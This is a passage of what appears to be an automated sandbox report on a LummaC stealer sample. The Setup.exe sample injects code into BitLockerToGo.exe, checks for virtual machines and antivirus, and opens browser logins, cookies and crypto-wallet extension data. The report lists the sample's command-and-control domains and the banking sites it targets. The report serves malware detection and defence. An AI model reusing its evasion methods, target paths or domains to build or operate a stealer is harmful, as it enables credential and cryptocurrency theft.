Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Setup.exe

Static file information: File size 10651136 > 1048576

Source: Setup.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x49fa00
Source: Setup.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x4d6600

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Setup.exe, 00000000.00000002.2267915208.000000000BE80000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Setup.exe, 00000000.00000002.2267915208.000000000BE80000.00000004.00001000.00020000.00000000.sdmp

Source: Setup.exe

Static PE information: section name: .symtab

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_00426003 push cs; mov dword ptr [esp], 00010900h	2_2_00426007
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0044F1F6 push esp; retf	2_2_0044F20E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0043EAA0 push eax; mov dword ptr [esp], 60676665h	2_2_0043EAAE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0044BBE5 push cs; ret	2_2_0044BBEF

Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 4832	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 3152	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000002.2418644581.00000000031FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418644581.0000000003228000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.00000000031FC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2417674923.0000000003228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Setup.exe, 00000000.00000002.2266365710.0000000001699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000002.00000003.2306623421.00000000055F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BitLockerToGo.exe, 00000002.00000003.2306805298.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_00441A80 LdrInitializeThunk,

2_2_00441A80

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Setup.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: offybirhtdi.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: activedomest.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: arenbootk.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mediavelk.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: definitib.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: elaboretib.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: strikebripm.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ostracizez.sbs
Source: Setup.exe, 00000000.00000002.2266835816.000000000BC86000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fashionablei.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2C88008	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 447000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 45A000	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Queries volume information: C:\Users\user\Desktop\Setup.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000002.00000002.2419163131.00000000055A0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
